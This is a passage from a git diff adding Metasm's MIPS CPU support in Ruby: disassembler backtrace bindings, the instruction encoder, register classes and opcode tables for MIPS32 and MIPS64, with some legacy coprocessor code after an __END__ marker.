a1| { a0 => Expression[a1] } } # XXX sign-extend + when 'sh'; lambda { |di, a0, a1| { a1 => Expression[a0] } } + when 'lb', 'lbu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'sb'; lambda { |di, a0, a1| { a1 => Expression[a0] } } + when /^slti?u?/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } # XXX signedness + when 'mfhi'; lambda { |di, a0| { a0 => Expression[:hi] } } + when 'mflo'; lambda { |di, a0| { a0 => Expression[:lo] } } + when 'mult'; lambda { |di, a0, a1| { :hi => Expression[[a0, :*, a1], :>>, 32], :lo => Expression[[a0, :*, a1], :&, 0xffff_ffff] } } + when 'div'; lambda { |di, a0, a1| { :hi => Expression[a0, :%, a1], :lo => Expression[a0, :/, a1] } } + when 'jal', 'jalr'; lambda { |di, a0| { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } } + when 'li', 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'syscall'; lambda { |di, *a| { :$v0 => Expression::Unknown } } + end + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref; arg.symbolic(di.address) + when Reg; arg.symbolic + else arg + end + } + + binding = if binding = backtrace_binding[di.instruction.opname] + binding[di, *a] + else + if di.instruction.opname[0] == ?b and di.opcode.props[:setip] + else + puts "unknown instruction to emu #{di}" if $VERBOSE + end + {} + end + + binding.delete 0 # allow add $zero, 42 => nop + + binding + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = di.instruction.args.last + [Expression[ + case arg + when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] + when Reg; arg.to_s.to_sym + else arg + end]] + end + + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + bt = [] + b[r] = Expression::Unknown # break recursive dep + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, + :include_start => true, :snapshot_addr => faddr, :origin => retaddr) + } + b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) + } + wantregs = Reg.i_to_s.values if wantregs.empty? + wantregs.map { |r| r.to_sym }.each(&bt_val) + + puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE + end + + def backtrace_is_function_return(expr, di=nil) + expr.reduce_rec == :$ra + end + + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include? :$sp + end + + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end + + # make the target of the call know the value of $t9 (specified by the ABI) + # XXX hackish + def backtrace_found_result(dasm, di, expr, type, len) + if di.opcode.name == 'jalr' and di.instruction.args == [:$t9] + expr = dasm.normalize(expr) + (dasm.address_binding[expr] ||= {})[:$t9] ||= expr + end + end + + def delay_slot(di=nil) + # branch.*likely has no delay slot + # bltzal/bgezal are 'link', not 'likely', hence the check for -2 + (di and di.opcode.props[:setip] and (di.opcode.name[-1] != ?l or di.opcode.name[-2] == ?a)) ? 1 : 0 + end + + def disassembler_default_func + df = DecodedFunction.new + df.backtrace_binding = %w[v0 v1 a0 a1 a2 a3 t0 t1 t2 t3 t4 t5 t6 t7 t8 t9 at k0 k1].inject({}) { |h, r| h.update "$#{r}".to_sym => Expression::Unknown } + df.backtrace_binding.update %w[gp sp fp ra s0 s1 s2 s3 s4 s5 s6 s7].inject({}) { |h, r| h.update "$#{r}".to_sym => "$#{r}".to_sym } + df.backtracked_for = [BacktraceTrace.new(Expression[:$ra], :default, Expression[:$ra], :x)] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] and di.instruction.to_s != 'jr $ra' + btfor + else [] + end + } + df + end +end +end diff --git a/lib/metasm/metasm/cpu/mips/encode.rb b/lib/metasm/metasm/cpu/mips/encode.rb new file mode 100644 index 0000000000..23df0694ff --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/encode.rb @@ -0,0 +1,52 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/mips/opcodes' +require 'metasm/encode' + +module Metasm +class MIPS + private + def encode_instr_op(exe, instr, op) + base = op.bin + set_field = lambda { |f, v| + base |= (v & @fields_mask[f]) << @fields_shift[f] + } + + val, mask, shift = 0, 0, 0 + + # convert label name for jmp/call/loop to relative offset + if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression + postlabel = exe.new_label('jmp_offset') + instr = instr.dup + if op.args.include? :i26 + pl = Expression[postlabel, :&, 0xfc00_0000] + else + pl = postlabel + end + instr.args[-1] = Expression[[instr.args[-1], :-, pl], :>>, 2] + postdata = EncodedData.new '', :export => {postlabel => 0} + else + postdata = '' + end + + op.args.zip(instr.args).each { |sym, arg| + case sym + when :rs, :rt, :rd, :ft + set_field[sym, arg.i] + when :rs_i16 + set_field[:rs, arg.base.i] + val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] + when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb + val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] + val = Expression[val, :-, 1] if sym == :msbd + end + } + + Expression[base, :|, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata + end +end +end diff --git a/lib/metasm/metasm/cpu/mips/main.rb b/lib/metasm/metasm/cpu/mips/main.rb new file mode 100644 index 0000000000..f1dc5311cc --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/main.rb @@ -0,0 +1,79 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class MIPS < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @s_to_i = {} + @i_to_s = {} + (0..31).each { |i| @s_to_i["r#{i}"] = @s_to_i["$r#{i}"] = @s_to_i["$#{i}"] = i } + %w[zero at v0 v1 a0 a1 a2 a3 + t0 t1 t2 t3 t4 t5 t6 t7 + s0 s1 s2 s3 s4 s5 s6 s7 + t8 t9 k0 k1 gp sp fp ra].each_with_index { |r, i| @s_to_i[r] = @s_to_i['$'+r] = i ; @i_to_s[i] = '$'+r } + + attr_accessor :i + def initialize(i) + @i = i + end + + Sym = @i_to_s.sort.map { |k, v| v.to_sym } + def symbolic ; @i == 0 ? 0 : Sym[@i] end + end + + class FpReg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = (0..31).map { |i| "$f#{i}" } + @s_to_i = (0..31).inject({}) { |h, i| h.update "f#{i}" => i, "$f#{i}" => i } + + attr_accessor :i + def initialize(i) + @i = i + end + end + + class Memref + attr_accessor :base, :offset, :sz + def initialize(base, offset, sz=32) + @base, @offset, @sz = base, offset, sz + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz/8, orig] + end + end + + def initialize(endianness = :big, family = :latest) + super() + @endianness = endianness + @size = 32 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end + +class MIPS64 < MIPS + def initialize(endianness = :big, family = :latest) + super(endianness, family) + @size = 64 + end +end +end + diff --git a/lib/metasm/metasm/cpu/mips/opcodes.rb b/lib/metasm/metasm/cpu/mips/opcodes.rb new file mode 100644 index 0000000000..a447304425 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/opcodes.rb @@ -0,0 +1,512 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/mips/main' + +# TODO coprocessors, floating point, 64bits, thumb mode + +module Metasm + +class MIPS + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + } + @opcode_list << o + end + + def init_mips32_obsolete + addop 'beql', 0b010100 << 26, :rt, :rs, :i16, :setip # == , exec delay slot only if jump taken + addop 'bnel', 0b010101 << 26, :rt, :rs, :i16, :setip # != + addop 'blezl',0b010110 << 26, :rt_z, :rs, :i16, :setip # <= 0 + addop 'bgtzl',0b010111 << 26, :rt_z, :rs, :i16, :setip # > 0 + addop 'bltzl',1 << 26 | 0b00010 << 16, :rs, :i16, :setip + addop 'bgezl',1 << 26 | 0b00011 << 16, :rs, :i16, :setip + addop 'bltzall', 1 << 26 | 0b10010 << 16, :rs, :i16, :setip + addop 'bgezall', 1 << 26 | 0b10011 << 16, :rs, :i16, :setip + end + + def init_mips32_reserved + addop 'future111011', 0b111011 << 26, :i26 + + %w[011000 011001 011010 011011 100111 101100 101101 110100 110111 111100 111111].each { |b| + addop "reserved#{b}", b.to_i(2) << 26, :i26 + } + + addop 'ase_jalx', 0b011101 << 26, :i26 + addop 'ase011110', 0b011110 << 26, :i26 + # TODO add all special/regimm/... + end + + def init_mips32 + @opcode_list = [] + @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f, + :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f, + :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff + @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6, + :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16, + :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 + @valid_props.update :mi8 => true, :mu8 => true, :mi16 => true, :mu16 => true + + init_mips32_obsolete + init_mips32_reserved + + addop 'j', 0b000010 << 26, :i26, :setip, :stopexec # sets the program counter to (i26 << 2) | ((pc+4) & 0xfc000000) ie i26*4 in the 256M-aligned section containing the instruction in the delay slot + addop 'jal', 0b000011 << 26, :i26, :setip, :stopexec, :saveip # same thing, saves return addr in r31 + + addop 'mov', 0b001000 << 26, :rt, :rs # rt <- rs+0 + addop 'addi', 0b001000 << 26, :rt, :rs, :i16 # add rt <- rs+i + addop 'li', 0b001001 << 26, :rt, :i16 # addiu rt <- zero+i + addop 'addiu',0b001001 << 26, :rt, :rs, :i16 # add unsigned + addop 'slti', 0b001010 << 26, :rt, :rs, :i16 # set on less than + addop 'sltiu',0b001011 << 26, :rt, :rs, :i16 # set on less than unsigned + addop 'andi', 0b001100 << 26, :rt, :rs, :i16 # and + addop 'ori', 0b001101 << 26, :rt, :rs, :i16 # or + addop 'xori', 0b001110 << 26, :rt, :rs, :i16 # xor + addop 'lui', 0b001111 << 26, :rt, :i16 # load upper +# addop 'li', (0b001111 << 26) << 32 | (0b001101 << 26), :rt_64, :i32 # lui + ori + + addop 'b', 0b000100 << 26, :i16, :setip, :stopexec # bz $zero + addop 'bz', 0b000100 << 26, :rs, :i16, :setip # == 0 (beq $0) + addop 'bz', 0b000100 << 26, :rt, :i16, :setip # == 0 + addop 'bnz', 0b000101 << 26, :rs, :i16, :setip # != 0 + addop 'bnz', 0b000101 << 26, :rt, :i16, :setip # != 0 + + addop 'beq', 0b000100 << 26, :rt, :rs, :i16, :setip # == + addop 'bne', 0b000101 << 26, :rt, :rs, :i16, :setip # != + addop 'blez', 0b000110 << 26, :rs, :i16, :setip # <= 0 + addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip # > 0 + + addop 'lb', 0b100000 << 26, :rt, :rs_i16, :mi8 # load byte rs <- [rt+i] + addop 'lh', 0b100001 << 26, :rt, :rs_i16, :mi16 # load halfword + addop 'lwl', 0b100010 << 26, :rt, :rs_i16 # load word left + addop 'lw', 0b100011 << 26, :rt, :rs_i16 # load word + addop 'lbu', 0b100100 << 26, :rt, :rs_i16, :mu8 # load byte unsigned + addop 'lhu', 0b100101 << 26, :rt, :rs_i16, :mu16 # load halfword unsigned + addop 'lwr', 0b100110 << 26, :rt, :rs_i16 # load word right + + addop 'sb', 0b101000 << 26, :rt, :rs_i16, :mi8 # store byte + addop 'sh', 0b101001 << 26, :rt, :rs_i16, :mi16 # store halfword + addop 'swl', 0b101010 << 26, :rt, :rs_i16 # store word left + addop 'sw', 0b101011 << 26, :rt, :rs_i16 # store word + addop 'swr', 0b101110 << 26, :rt, :rs_i16 # store word right + + addop 'll', 0b110000 << 26, :rt, :rs_i16 # load linked word (read for atomic r/modify/w, sc does the w) + addop 'sc', 0b111000 << 26, :rt, :rs_i16 # store conditional word + + addop 'lwc1', 0b110001 << 26, :ft, :rs_i16 # load word in fpreg low + addop 'swc1', 0b111001 << 26, :ft, :rs_i16 # store low fpreg word + addop 'lwc2', 0b110010 << 26, :rt, :rs_i16 # load word to copro2 register low + addop 'swc2', 0b111010 << 26, :rt, :rs_i16 # store low coproc2 register + + addop 'ldc1', 0b110101 << 26, :ft, :rs_i16 # load dword in fpreg low + addop 'sdc1', 0b111101 << 26, :ft, :rs_i16 # store fpreg + addop 'ldc2', 0b110110 << 26, :rt, :rs_i16 # load dword to copro2 register + addop 'sdc2', 0b111110 << 26, :rt, :rs_i16 # store coproc2 register + + addop 'pref', 0b110011 << 26, :it, :rs_i16 # prefetch (it = %w[load store r2 r3 load_streamed store_streamed load_retained store_retained + # r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 writeback_invalidate + # id26 id27 id28 id29 prepare_for_store id31] + addop 'cache',0b101111 << 26, :it, :rs_i16 # do things with the proc cache + + # special + addop 'nop', 0 + addop 'ssnop',1<<6 + addop 'ehb', 3<<6 + addop 'sll', 0b000000, :rd, :rt, :sa + addop 'movf', 0b000001, :rd, :rs, :cc + addop 'movt', 0b000001 | (1<<16), :rd, :rs, :cc + addop 'srl', 0b000010, :rd, :rt, :sa + addop 'sra', 0b000011, :rd, :rt, :sa + addop 'sllv', 0b000100, :rd, :rt, :rs + addop 'srlv', 0b000110, :rd, :rt, :rs + addop 'srav', 0b000111, :rd, :rt, :rs + + addop 'jr', 0b001000, :rs, :setip, :stopexec # hint field ? + addop 'jr.hb',0b001000 | (1<<10), :rs, :setip, :stopexec + addop 'jalr', 0b001001 | (31<<11), :rs, :setip, :stopexec, :saveip # rd = r31 implicit + addop 'jalr', 0b001001, :rd, :rs, :setip, :stopexec, :saveip + addop 'jalr.hb', 0b001001 | (1<<10) | (31<<11), :rs, :setip, :stopexec, :saveip + addop 'jalr.hb', 0b001001 | (1<<10), :rd, :rs, :setip, :stopexec, :saveip + addop 'movz', 0b001010, :rd, :rs, :rt # rt == 0 ? rd <- rs + addop 'movn', 0b001011, :rd, :rs, :rt + addop 'syscall', 0b001100, :i20 + addop 'break',0b001101, :i20, :stopexec + addop 'sync', 0b001111 # type 0 implicit + addop 'sync', 0b001111, :sa + + addop 'mfhi', 0b010000, :rd # copies special reg HI to reg + addop 'mthi', 0b010001, :rs # copies reg to special reg HI + addop 'mflo', 0b010010, :rd # copies special reg LO to reg + addop 'mtlo', 0b010011, :rs # copies reg to special reg LO + + addop 'mult', 0b011000, :rs, :rt # multiplies the registers and store the result in HI:LO + addop 'multu',0b011001, :rs, :rt + addop 'div', 0b011010, :rs, :rt + addop 'divu', 0b011011, :rs, :rt + addop 'add', 0b100000, :rd, :rs, :rt + addop 'addu', 0b100001, :rd, :rs, :rt + addop 'sub', 0b100010, :rd, :rs, :rt + addop 'subu', 0b100011, :rd, :rs, :rt + addop 'and', 0b100100, :rd, :rs, :rt + addop 'or', 0b100101, :rd, :rs, :rt + addop 'xor', 0b100110, :rd, :rs, :rt + addop 'not', 0b100111, :rd, :rt # nor $0 + addop 'not', 0b100111, :rd, :rs + addop 'nor', 0b100111, :rd, :rs, :rt + + addop 'slt', 0b101010, :rd, :rs, :rt # rs= rt ? trap + addop 'tgeu', 0b110001, :rs, :rt + addop 'tlt', 0b110010, :rs, :rt + addop 'tltu', 0b110011, :rs, :rt + addop 'teq', 0b110100, :rs, :rt + addop 'tne', 0b110110, :rs, :rt + + + # regimm + addop 'bltz', (1<<26) | (0b00000<<16), :rs, :i16, :setip + addop 'bgez', (1<<26) | (0b00001<<16), :rs, :i16, :setip + addop 'tgei', (1<<26) | (0b01000<<16), :rs, :i16, :setip + addop 'tgfiu',(1<<26) | (0b01001<<16), :rs, :i16, :setip + addop 'tlti', (1<<26) | (0b01010<<16), :rs, :i16, :setip + addop 'tltiu',(1<<26) | (0b01011<<16), :rs, :i16, :setip + addop 'teqi', (1<<26) | (0b01100<<16), :rs, :i16, :setip + addop 'tnei', (1<<26) | (0b01110<<16), :rs, :i16, :setip + addop 'bltzal', (1<<26) | (0b10000<<16), :rs, :i16, :setip, :saveip + addop 'bgezal', (1<<26) | (0b10001<<16), :i16, :setip, :stopexec, :saveip # bgezal $zero => unconditionnal + addop 'bgezal', (1<<26) | (0b10001<<16), :rs, :i16, :setip, :saveip + + + # special2 + addop 'madd', (0b011100<<26) | 0b000000, :rs, :rt + addop 'maddu',(0b011100<<26) | 0b000001, :rs, :rt + addop 'mul', (0b011100<<26) | 0b000010, :rd, :rs, :rt + addop 'msub', (0b011100<<26) | 0b000100, :rs, :rt + addop 'msubu',(0b011100<<26) | 0b000101, :rs, :rt + addop 'clz', (0b011100<<26) | 0b100000, :rd, :rs, :rt # must have rs == rt + addop 'clo', (0b011100<<26) | 0b100001, :rd, :rs, :rt # must have rs == rt + addop 'sdbbp',(0b011100<<26) | 0b111111, :i20 + + + # cp0 + addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb + addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb, :sel + addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb + addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb, :sel + + addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001 + addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010 + addop 'tlbwr',(0b010000<<26) | (1<<25) | 0b000110 + addop 'tlbp', (0b010000<<26) | (1<<25) | 0b001000 + addop 'eret', (0b010000<<26) | (1<<25) | 0b011000 + addop 'deret',(0b010000<<26) | (1<<25) | 0b011111 + addop 'wait', (0b010000<<26) | (1<<25) | 0b100000 # mode field ? + end + + def init_mips32r2 + init_mips32 + + addop 'rotr', 0b000010 | (1<<21), :rd, :rt, :sa + addop 'rotrv',0b000110 | (1<<6), :rd, :rt, :rs + + addop 'synci',(1<<26) | (0b11111<<16), :rs_i16 + + # special3 + addop 'ext', (0b011111<<26) | 0b000000, :rt, :rs, :sa, :idm1 + addop 'ins', (0b011111<<26) | 0b000100, :rt, :rs, :sa, :idb + addop 'rdhwr',(0b011111<<26)| 0b111011, :rt, :rd + addop 'wsbh',(0b011111<<26) | (0b00010<<6) | 0b100000, :rd, :rt + addop 'seb', (0b011111<<26) | (0b10000<<6) | 0b100000, :rd, :rt + addop 'seh', (0b011111<<26) | (0b11000<<6) | 0b100000, :rd, :rt + + # cp0 + addop 'rdpgpr', (0b010000<<26) | (0b01010<<21), :rd, :rt + addop 'wrpgpr', (0b010000<<26) | (0b01110<<21), :rd, :rt + addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5) + addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5), :rt + addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5) + addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5), :rt + end + alias init_latest init_mips32r2 +end + +class MIPS64 + def init_mips64 + init_mips32r2 + @valid_props.update :mi64 => true + + addop 'ld', 0b110111 << 26, :rt, :rs_i16, :m64 + addop 'lwu', 0b100111 << 26, :rt, :rs_i16 + addop 'sd', 0b111111 << 26, :rt, :rs_i16, :m64 + addop 'scd', 0b111100 << 26, :rt, :rs_i16, :m64 + addop 'ldl', 0b011010 << 26, :rt, :rs_i16 + addop 'ldr', 0b011011 << 26, :rt, :rs_i16 + addop 'sdl', 0b101100 << 26, :rt, :rs_i16 + addop 'sdr', 0b101101 << 26, :rt, :rs_i16 + addop 'lld', 0b110100 << 26, :rt, :rs_i16 + addop 'daddi', 0b011000 << 26, :rt, :rs, :i16 + addop 'daddiu', 0b011001 << 26, :rt, :rs, :i16 + + addop 'dclo', (0b011100 << 26) | (0b100101), :rd, :rt, :rs + addop 'dclz', (0b011100 << 26) | (0b100100), :rd, :rt, :rs + + addop 'dadd', 0b101100, :rd, :rs, :rt + addop 'daddu', 0b101101, :rd, :rs, :rt + addop 'dsub', 0b101110, :rd, :rs, :rt + addop 'dsubu', 0b101111, :rd, :rs, :rt + addop 'dsll', 0b111000, :rd, :rt, :sa + addop 'dsll32', 0b111100, :rd, :rt, :sa + addop 'dsllv', 0b010100, :rd, :rt, :rs + addop 'dsra', 0b111011, :rd, :rt, :sa + addop 'dsra32', 0b111111, :rd, :rt, :sa + addop 'dsrav', 0b010111, :rd, :rt, :rs + addop 'dsrl', 0b111010, :rd, :rt, :sa + addop 'dsrl32', 0b111110, :rd, :rt, :sa + addop 'dsrlv', 0b010110, :rd, :rt, :rs + addop 'ddiv', 0b011110, :rs, :rt + addop 'ddivu', 0b011111, :rs, :rt + addop 'dmult', 0b011100, :rs, :rt + addop 'dmultu', 0b011101, :rs, :rt + + addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb + addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb, :sel + addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb + addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb, :sel + end + + def init_mips64r2 + init_mips64 + @fields_mask.update :msbd => 0x1f + @fields_shift.update :msbd => 11 + + addop 'dext', (0b011111 << 26) | 0b000011, :rt, :rs, :sa, :msbd # sa => lsb + addop 'dextm', (0b011111 << 26) | 0b000001, :rt, :rs, :sa, :msbd + addop 'dextu', (0b011111 << 26) | 0b000010, :rt, :rs, :sa, :msbd + addop 'dins', (0b011111 << 26) | 0b000111, :rt, :rs, :sa, :msbd + addop 'dinsm', (0b011111 << 26) | 0b000101, :rt, :rs, :sa, :msbd + addop 'dinsu', (0b011111 << 26) | 0b000110, :rt, :rs, :sa, :msbd + + addop 'drotr', (1 << 21) | 0b111010, :rd, :rt, :sa + addop 'drotr32', (1 << 21) | 0b111110, :rd, :rt, :sa + addop 'drotrv', (1 << 6) | 0b010110, :rd, :rt, :rs + + addop 'dsbh', (0b011111 << 26) | (0b00010 << 6) | 0b100100, :rd, :rt + addop 'dshd', (0b011111 << 26) | (0b00101 << 6) | 0b100100, :rd, :rt + end + + alias init_latest init_mips64r2 +end +end +__END__ + def macro_addop_cop1(name, bin, *aprops) + flds = [ :rt, :fs ] + addop name, :cop1, bin, 'rt, fs', flds, *aprops + end + + def macro_addop_cop1_precision(name, type, bin, fmt, *aprops) + flds = [ :ft, :fs, :fd ] + addop name+'.'+(type.to_s[5,7]), type, bin, fmt, flds, *aprops + end + + + public + # Initialize the instruction set with the MIPS32 Instruction Set + def init_mips32 + :cc => [7, 18, :fpcc], + :op => [0x1F, 16, :op ], :cp2_rt => [0x1F, 16, :cp2_reg ], + :stype => [0x1F, 6, :imm ], + :code => [0xFFFFF, 6, :code ], + :sel => [3, 0, :sel ]}) + + # --------------------------------------------------------------- + # COP0, field rs + # --------------------------------------------------------------- + + addop 'mfc0', :cop0, 0b00000, 'rt, rd, sel', [ :rt, :rd, :sel ] + addop 'mtc0', :cop0, 0b00100, 'rt, rd, sel', [ :rt, :rd, :sel ] + + # --------------------------------------------------------------- + # COP0 when rs=C0 + # --------------------------------------------------------------- + + macro_addop_cop0_c0 'tlbr', 0b000001 + macro_addop_cop0_c0 'tlbwi', 0b000010 + macro_addop_cop0_c0 'tlwr', 0b000110 + macro_addop_cop0_c0 'tlbp', 0b001000 + macro_addop_cop0_c0 'eret', 0b011000 + macro_addop_cop0_c0 'deret', 0b011111 + macro_addop_cop0_c0 'wait', 0b100000 + + # --------------------------------------------------------------- + # COP1, field rs + # --------------------------------------------------------------- + + macro_addop_cop1 'mfc1', 0b00000 + macro_addop_cop1 'cfc1', 0b00010 + macro_addop_cop1 'mtc1', 0b00100 + macro_addop_cop1 'ctc1', 0b00110 + + addop "bc1f", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 0 ] + addop "bc1fl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 2 ] + addop "bc1t", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 1 ] + addop "bc1tl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 3 ] + + # --------------------------------------------------------------- + # COP1, field rs=S/D + # --------------------------------------------------------------- + + [ :cop1_s, :cop1_d ].each do |type| + type_str = type.to_s[5,7] + + macro_addop_cop1_precision 'add', type, 0b000000, 'fd, fs, ft' + macro_addop_cop1_precision 'sub', type, 0b000001, 'fd, fs, ft' + macro_addop_cop1_precision 'mul', type, 0b000010, 'fd, fs, ft' + macro_addop_cop1_precision 'abs', type, 0b000101, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'mov', type, 0b000110, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'neg', type, 0b000111, 'fd, fs', :ft_zero + + macro_addop_cop1_precision 'movz', type, 0b010010, 'fd, fs, ft' + macro_addop_cop1_precision 'movn', type, 0b010011, 'fd, fs, ft' + + addop "movf.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 0 ] + addop "movt.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 1 ] + + %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| + addop "c.#{cond}.#{type_str}", type, 0b110000+index, 'cc, fs, ft', + [ :ft, :fs, :cc ] + end + end + + # S and D Without PS + + [:cop1_s, :cop1_d].each do |type| + macro_addop_cop1_precision 'div', type, 0b000011, 'fd, fs, ft' + macro_addop_cop1_precision 'sqrt', type, 0b000100, 'fd, fs', :ft_zero + + macro_addop_cop1_precision 'round.w', type, 0b001100, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'trunc.w', type, 0b001101, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'ceil.w', type, 0b001110, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'floor.w', type, 0b001111, 'fd, fs', :ft_zero + + end + + # COP2 is not decoded (pretty useless) + + [:cop1_d,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.s', type, 0b100000, 'fd, fs', :ft_zero } + [:cop1_s,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.d', type, 0b100001, 'fd, fs', :ft_zero } + [:cop1_s,:cop1_d].each { |type| macro_addop_cop1_precision 'cvt.w', type, 0b100100, 'fd, fs', :ft_zero } + + [ :normal, :special, :regimm, :special2, :cop0, :cop0_c0, :cop1, :cop1_s, + :cop1_d, :cop1_w ].each \ + { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } + end + + # Initialize the instruction set with the MIPS32 Instruction Set Release 2 + def init_mips64 + init_mips32 + + #SPECIAL + macro_addop_special "rotr", 0b000010, 'rd, rt, sa', :diff_bits, [ 26, 1, 1 ] + macro_addop_special "rotrv", 0b000110, 'rd, rt, rs', :diff_bits, [ 6, 1, 1 ] + + # REGIMM + addop "synci", :regimm, 0b11111, '', {:base => [5,21], :off => [16, 0] } + + # --------------------------------------------------------------- + # SPECIAL3 opcode encoding of function field + # --------------------------------------------------------------- + + addop "ext", :special3, 0b00000, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], + :msbd => [5, 11], :lsb => [5, 6] } + addop "ins", :special3, 0b00100, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], + :msb => [5, 11], :lsb => [5, 6] } + + addop "rdhwr", :special3, 0b111011, 'rt, rd', { :rt => [5, 16], :rd => [5, 11] } + + addop "wsbh", :bshfl, 0b00010, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } + addop "seb", :bshfl, 0b10000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } + addop "seh", :bshfl, 0b11000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } + + # --------------------------------------------------------------- + # COP0 + # --------------------------------------------------------------- + + addop "rdpgpr", :cop0, 0b01010, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } + addop "wdpgpr", :cop0, 0b01110, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } + addop "di", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 0] + addop "ei", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 1] + + # --------------------------------------------------------------- + # COP1, field rs + # --------------------------------------------------------------- + + macro_addop_cop1 "mfhc1", 0b00011 + macro_addop_cop1 "mthc1", 0b00111 + + # Floating point + + [:cop1_s, :cop1_d].each do |type| + macro_addop_cop1_precision 'round.l', type, 0b001000, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'trunc.l', type, 0b001001, 'fd, fs', :ft_zero + macro_addop_cop1_precision 'ceil.l', type, 